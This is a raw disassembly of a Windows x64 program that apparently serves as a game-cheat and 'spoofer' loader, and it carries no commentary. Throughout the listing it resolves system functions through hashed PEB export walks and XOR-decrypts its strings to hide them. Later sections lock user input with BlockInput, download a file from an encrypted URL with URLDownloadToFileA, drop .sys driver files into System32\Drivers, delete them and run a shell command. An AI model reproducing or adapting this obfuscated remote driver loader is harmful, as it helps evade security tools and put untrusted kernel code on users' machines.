mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x5dc
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140012bd6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140012bd6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140012bd1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140012bb0
cmp r8d, 0xcded1a85
je 0x140012bdb
test r9d, r9d
jne 0x140012b90
mov rax, qword [rax]
jmp 0x140012b60
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140012c86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140012c86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140012c81
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140012c60
cmp r8d, 0x2fa62ca8
je 0x140012c8b
test r9d, r9d
jne 0x140012c40
mov rax, qword [rax]
jmp 0x140012c10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 0x190
call rdx
movsd xmm0, qword [0x14007bb88]
movsd qword [rsp + 0x70], xmm0
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rsp + 0x78], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140012d56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140012d56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140012d51
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140012d30
cmp r8d, 0xe76fb4aa
je 0x140012d5b
test r9d, r9d
jne 0x140012d10
mov rax, qword [rax]
jmp 0x140012ce0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rsp + 0x70], 0xa
xor byte [rsp + 0x71], 0x35
xor byte [rsp + 0x72], 0x36
xor byte [rsp + 0x73], 0x37
xor byte [rsp + 0x74], 0x38
xor byte [rsp + 0x75], 0x39
xor byte [rsp + 0x76], 0x3a
xor byte [rsp + 0x77], 0x3b
xor byte [rsp + 0x78], 0x3c
lea rcx, [rsp + 0x70]
call rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x240], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x250], xmm1
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str._License_Is_Valid
lea rcx, [rbp + 0x240]
call fcn.140003220
nop
mov edx, reloc.WLDAP32.dll_Ordinal_60
lea rcx, [rbp + 0x240]
call fcn.14000d6c0
nop
lea rcx, [rbp + 0x240]
call fcn.140004630
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140012e86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140012e86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140012e81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140012e60
cmp r8d, 0x2fa62ca8
je 0x140012e8b
test r9d, r9d
jne 0x140012e40
mov rax, qword [rax]
jmp 0x140012e10
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rdx + rax*4]
add rdx, r10
mov ecx, 0x190
call rdx
mov eax, dword [str.WYE7_]
mov dword [rsp + 0x30], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140012f46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140012f46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140012f41
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140012f20
cmp r8d, 0x491e0a9c
je 0x140012f4b
test r9d, r9d
jne 0x140012f00
mov rax, qword [rax]
jmp 0x140012ed0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r15d, 2
jl 0x140012ff1
movdqa xmm3, xmmword [0x14007bdf0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14007c050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14007c050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [str.9999]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14007bfe0]
movd xmm0, dword [rsp + 0x30]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
jmp 0x140013033
lea r9, [rsp + 0x30]
mov r8d, r14d
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140013000
lea rcx, [rsp + 0x30]
call r11
nop dword [rax + rax]
call fcn.140005840
movzx eax, word [0x14007bb98]
mov word [rsp + 0x48], ax
movzx eax, byte [0x14007bb9a]
mov byte [rsp + 0x4a], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400130e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400130e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400130e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400130c0
cmp r8d, 0xe76fb4aa
je 0x1400130eb
test r9d, r9d
jne 0x1400130a0
mov rax, qword [rax]
jmp 0x140013070
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rsp + 0x48], 0xa
xor byte [rsp + 0x49], 0x35
xor byte [rsp + 0x4a], 0x36
lea rcx, [rsp + 0x48]
call rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], r14
mov qword [rbp + 0x238], r14
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str._Load_Modules
lea rcx, [rbp + 0x220]
call fcn.140003220
nop
mov edx, reloc.WLDAP32.dll_Ordinal_60
lea rcx, [rbp + 0x220]
call fcn.14000d6c0
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x14001319d
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013198
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400146af
call fcn.140076dfc
movzx eax, word [0x14007bb9c]
mov word [rsp + 0x4c], ax
movzx eax, byte [0x14007bb9e]
mov byte [rsp + 0x4e], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140013246
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140013246
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140013241
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140013220
cmp r8d, 0xe76fb4aa
je 0x14001324b
test r9d, r9d
jne 0x140013200
mov rax, qword [rax]
jmp 0x1400131d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rsp + 0x4c], 0xa
xor byte [rsp + 0x4d], 0x35
xor byte [rsp + 0x4e], 0x36
lea rcx, [rsp + 0x4c]
call rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], r14
mov qword [rbp + 0x238], r14
mov r8d, listen
lea rdx, str._Load_Cheat
lea rcx, [rbp + 0x220]
call fcn.140003220
nop
mov edx, reloc.WLDAP32.dll_Ordinal_60
lea rcx, [rbp + 0x220]
call fcn.14000d6c0
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x1400132fd
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400132f8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400146af
call fcn.140076dfc
movzx eax, word [0x14007bba0]
mov word [rsp + 0x50], ax
movzx eax, byte [0x14007bba2]
mov byte [rsp + 0x52], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400133a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400133a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400133a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140013380
cmp r8d, 0xe76fb4aa
je 0x1400133ab
test r9d, r9d
jne 0x140013360
mov rax, qword [rax]
jmp 0x140013330
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rsp + 0x50], 0xa
xor byte [rsp + 0x51], 0x35
xor byte [rsp + 0x52], 0x36
lea rcx, [rsp + 0x50]
call rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], r14
mov qword [rbp + 0x238], r14
mov r8d, reloc.WS2_32.dll_listen
lea rdx, str._Load_Spoofer
lea rcx, [rbp + 0x220]
call fcn.140003220
nop
mov edx, reloc.WLDAP32.dll_Ordinal_60
lea rcx, [rbp + 0x220]
call fcn.14000d6c0
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x14001345d
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140013458
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400146af
call fcn.140076dfc
movzx eax, word [0x14007bba4]
mov word [rbp - 0x80], ax
movzx eax, byte [0x14007bba6]
mov byte [rbp - 0x7e], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140013506
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140013506
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140013501
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400134e0
cmp r8d, 0xe76fb4aa
je 0x14001350b
test r9d, r9d
jne 0x1400134c0
mov rax, qword [rax]
jmp 0x140013490
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov byte [rbp - 0x80], 0xa
xor byte [rbp - 0x7f], 0x35
xor byte [rbp - 0x7e], 0x36
lea rcx, [rbp - 0x80]
call rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x220], xmm0
mov qword [rbp + 0x230], r14
mov qword [rbp + 0x238], r14
mov r8d, 9
lea rdx, str._Option:
lea rcx, [rbp + 0x220]
call fcn.140003220
nop
mov edx, reloc.WLDAP32.dll_Ordinal_60
lea rcx, [rbp + 0x220]
call fcn.14000d6c0
nop
mov rdx, qword [rbp + 0x238]
cmp rdx, 0xf
jbe 0x1400135b9
inc rdx
mov rcx, qword [rbp + 0x220]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400135b4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400146af
call fcn.140076dfc
lea rdx, [0x1400fd8dc]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov eax, dword [0x1400fd8dc]
cmp eax, 1
jne 0x140013b12
mov eax, dword [0x14007bba8]
mov dword [rsp + 0x30], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140013676
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140013676
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140013671
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140013650
cmp r8d, 0x491e0a9c
je 0x14001367b
test r9d, r9d
jne 0x140013630
mov rax, qword [rax]
jmp 0x140013600
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
cmp r15d, 2
jl 0x140013721
movdqa xmm3, xmmword [0x14007bdf0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14007c050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14007c050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [str.9999]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14007bfe0]
movd xmm0, dword [rsp + 0x30]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
jmp 0x140013763
lea r9, [rsp + 0x30]
mov r8d, r14d
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140013730
lea rcx, [rsp + 0x30]
call r11
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
mov rcx, qword [str.C:WindowsSystem32Drivers_ramdisks.sys]
call fcn.140010850
test al, al
je 0x140013b0a
movdqa xmm0, xmmword [0x14007bec0]
movdqu xmmword [rbp], xmm0
movdqa xmm1, xmmword [0x14007c190]
movdqu xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmmword [0x14007c0b0]
movdqu xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [0x14007c060]
movdqu xmmword [rbp + 0x30], xmm1
movdqa xmm0, xmmword [0x14007c150]
movdqu xmmword [rbp + 0x40], xmm0
movdqa xmm1, xmmword [0x14007c1f0]
movdqu xmmword [rbp + 0x50], xmm1
movdqa xmm0, xmmword [0x14007c100]
movdqu xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [0x14007c170]
movdqu xmmword [rbp + 0x70], xmm1
movdqa xmm0, xmmword [0x14007c070]
movdqu xmmword [rbp + 0x80], xmm0
movdqa xmm1, xmmword [0x14007c040]
movdqu xmmword [rbp + 0x90], xmm1
movdqa xmm0, xmmword [0x14007bfb0]
movdqu xmmword [rbp + 0xa0], xmm0
mov dword [rbp + 0xb0], 0x75202624
mov dword [rbp + 0xb4], 0x1003f7d
mov rcx, r14
nop dword [rax]
lea eax, [rcx + 0x64]
xor byte [rbp + rcx], al
inc rcx
cmp rcx, 0xb6
jb 0x140013840
mov byte [rbp + 0xb7], 0
movdqa xmm0, xmmword [str._I0]
movdqu xmmword [rbp + 0x240], xmm0
movdqa xmm1, xmmword [0x14007c1a0]
movdqu xmmword [rbp + 0x250], xmm1
mov dword [rbp + 0x260], 0xf5f5f6e1
mov dword [rbp + 0x264], 0xf2f9a7e9
mov word [rbp + 0x268], 0xff
mov byte [rbp + 0x26a], 1
mov rcx, r14
lea eax, [rcx + 0x64]
xor byte [rbp + rcx + 0x240], al
inc rcx
cmp rcx, 0x29
jb 0x1400138a1
mov byte [rbp + 0x26a], 0
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp + 0x240]
lea rdx, [rbp]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
xor r8d, r8d
mov rdx, qword [str.C:WindowsSystem32Driversprocessra.sys]
mov rcx, qword [str.C:WindowsSystem32Drivers_ramdisks.sys]
call fcn.140002470
mov rcx, qword [str.C:WindowsSystem32Drivers_ramdisks.sys]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rcx, qword [str.C:WindowsSystem32Driversprocessra.sys]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [0x14007bbb0]
movups xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [0x14007bbc0]
movups xmmword [rbp + 0x250], xmm1
movsd xmm0, qword [0x14007bbd0]
movsd qword [rbp + 0x260], xmm0
movzx eax, byte [0x14007bbd8]
mov byte [rbp + 0x268], al
mov r8d, r14d
cmp r15d, 2
jl 0x140013a9d
movdqa xmm5, xmmword [0x14007bdf0]
movdqa xmm4, xmmword [0x14007c050]
movdqa xmm6, xmmword [str.9999]
movdqa xmm0, xmmword [0x14007bfe0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x244]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140013990
cmp r8d, 0x29
jge 0x140013ae3
movsxd rax, r8d
lea r9, [rbp + 0x240]
add r9, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x140013ab0
lea rcx, [rbp + 0x240]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
lea rcx, [0x14007bcf8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140013040
mov eax, dword [0x1400fd8dc]
jmp 0x140013b1b
cmp eax, 2
je 0x1400146d7
cmp eax, 3
jne 0x1400146b6
mov eax, dword [str.WYE7]
mov dword [rsp + 0x30], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140013bb6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140013bb6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140013bb1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140013b90
cmp r8d, 0x491e0a9c
je 0x140013bbb
test r9d, r9d
jne 0x140013b70
mov rax, qword [rax]
jmp 0x140013b40
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
cmp r15d, 2
jl 0x140013c61
movdqa xmm3, xmmword [0x14007bdf0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14007c050]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14007c050]
shufps xmm2, xmm0, 0xdd
paddd xmm2, xmm3
psrad xmm2, 5
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [str.9999]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14007bfe0]
movd xmm0, dword [rsp + 0x30]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
jmp 0x140013ca3
lea r9, [rsp + 0x30]
mov r8d, r14d
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140013c70
lea rcx, [rsp + 0x30]
call r11
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
mov rcx, qword [str.C:WindowsSystem32Drivers_ramdisks.sys]
call fcn.140010850
test al, al
je 0x1400144e2
movdqa xmm0, xmmword [0x14007bec0]
movdqu xmmword [rbp], xmm0
movdqa xmm1, xmmword [0x14007c190]
movdqu xmmword [rbp + 0x10], xmm1
movdqa xmm0, xmmword [0x14007c0c0]
movdqu xmmword [rbp + 0x20], xmm0
movdqa xmm1, xmmword [0x14007c090]
movdqu xmmword [rbp + 0x30], xmm1
movdqa xmm0, xmmword [0x14007c130]
movdqu xmmword [rbp + 0x40], xmm0
mov dword [rbp + 0x50], 0xd3c4d4db
mov dword [rbp + 0x54], 0xc894cfca
mov dword [rbp + 0x58], 0x100cec5
mov rcx, r14
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx + 0x64]
xor byte [rbp + rcx], al
inc rcx
cmp rcx, 0x5a
jb 0x140013d30
mov byte [rbp + 0x5b], 0
movdqa xmm0, xmmword [str._I0]
